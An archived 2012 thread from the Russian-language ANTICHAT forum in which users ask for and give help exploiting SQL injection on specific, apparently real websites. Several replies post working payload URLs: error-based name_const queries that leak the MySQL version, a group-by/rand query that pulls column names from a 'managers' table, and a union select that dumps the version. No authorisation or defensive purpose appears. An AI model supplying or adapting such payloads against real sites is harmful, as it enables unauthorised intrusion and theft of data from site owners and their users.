ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
16.08.2012, 02:40
|
|
Guest
Сообщений: n/a
Провел на форуме:
2364
Репутация:
0
|
|
Сообщение от Nightfall
Nightfall said:
Здравствуйте, подскажите, пожалуйста, что делать, если order by никогда не выдает ошибку?
Например, здесь: http://dynatone.ru/products.php?brand=Flight&group=911'
Там по моему фильтр на union select
|
|
|
|
16.08.2012, 02:53
|
|
Guest
Сообщений: n/a
Провел на форуме:
755
Репутация:
0
|
|
но order by же должен работать?
|
|
|
|
16.08.2012, 03:22
|
|
Guest
Сообщений: n/a
Провел на форуме:
290351
Репутация:
173
|
|
Сообщение от Nightfall
Nightfall said:
Здравствуйте, подскажите, пожалуйста, что делать, если order by никогда не выдает ошибку?
Например, здесь: http://dynatone.ru/products.php?brand=Flight&group=911'
Сообщение от None
http://dynatone.ru/products.php?brand=Flight&group=911'or(select*from (select(name_const(version(),1)),name_const(versio n(),1))a)and(1)='1
'5.1.61'
|
|
|
|
16.08.2012, 05:15
|
|
Новичок
Регистрация: 12.08.2009
Сообщений: 1
Провел на форуме:
11937
Репутация:
0
|
|
Сообщение от OxoTnik
OxoTnik said:
'5.1.61'
Через name_const не выведешь ничего кроме version()
Вот запрос более рабочий с примером работы с таблицами и колонками.
Сообщение от None
http://dynatone.ru/products.php?brand=Flight&group=911'or(1)group/**/by(mid((select(column_name)from(information_schema .columns)where(table_schema='dntMainBase'and(table _name='managers'))limit/**/0,1),rand(0)|0,64))having(sum(0)-1)or'1'='1#
|
|
|
16.08.2012, 12:23
|
|
Guest
Сообщений: n/a
Провел на форуме:
755
Репутация:
0
|
|
Всем большое спасибо за помощь
|
|
|
|
16.08.2012, 15:46
|
|
Постоянный
Регистрация: 15.03.2009
Сообщений: 435
Провел на форуме:
4061203
Репутация:
704
|
|
http://www.rosalcohol.ru/site.php?id=8295&table=bmV3c19nbGF2
уязвим параметр id
почему не работает юнион селект?
колонки подбираются,дальше не хочет
версия мускля думаю поэтому и не хочет
там 3 версия?
|
|
|
|
16.08.2012, 15:49
|
|
Guest
Сообщений: n/a
Провел на форуме:
290351
Репутация:
173
|
|
Сообщение от InDuStRieS
InDuStRieS said:
http://www.rosalcohol.ru/site.php?id=8295&table=bmV3c19nbGF2
уязвим параметр id
почему не работает юнион селект?
колонки подбираются,дальше не хочет
версия мускля поэтому и не хочет
там 3 версия?
Всё отлично работает
Сообщение от None
http://www.rosalcohol.ru/site.php?id=-8295+union+select+1,2,3,version%28%29,5,6,7&table= bmV3c19nbGF2
|
|
|
|
16.08.2012, 15:50
|
|
Постоянный
Регистрация: 15.03.2009
Сообщений: 435
Провел на форуме:
4061203
Репутация:
704
|
|
Сообщение от OxoTnik
OxoTnik said:
Всё отлично работает
4.0.27-log
блин точно,забыл минусик поставить...ппц я протупил
спасибо
|
|
|
|
16.08.2012, 16:22
|
|
Постоянный
Регистрация: 15.03.2009
Сообщений: 435
Провел на форуме:
4061203
Репутация:
704
|
|
http://www.intim.dn.ua/catalog/vender.php?id=412'+order+by+10&meta_id=1790
Почему тут не работает?
Не выводит
|
|
|
|
16.08.2012, 16:32
|
|
Guest
Сообщений: n/a
Провел на форуме:
178623
Репутация:
94
|
|
Сообщение от InDuStRieS
InDuStRieS said:
http://www.intim.dn.ua/catalog/vender.php?id=412'+order+by+10&meta_id=1790
Почему тут не работает?
Не выводит
Потому-что это слепая скуля
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
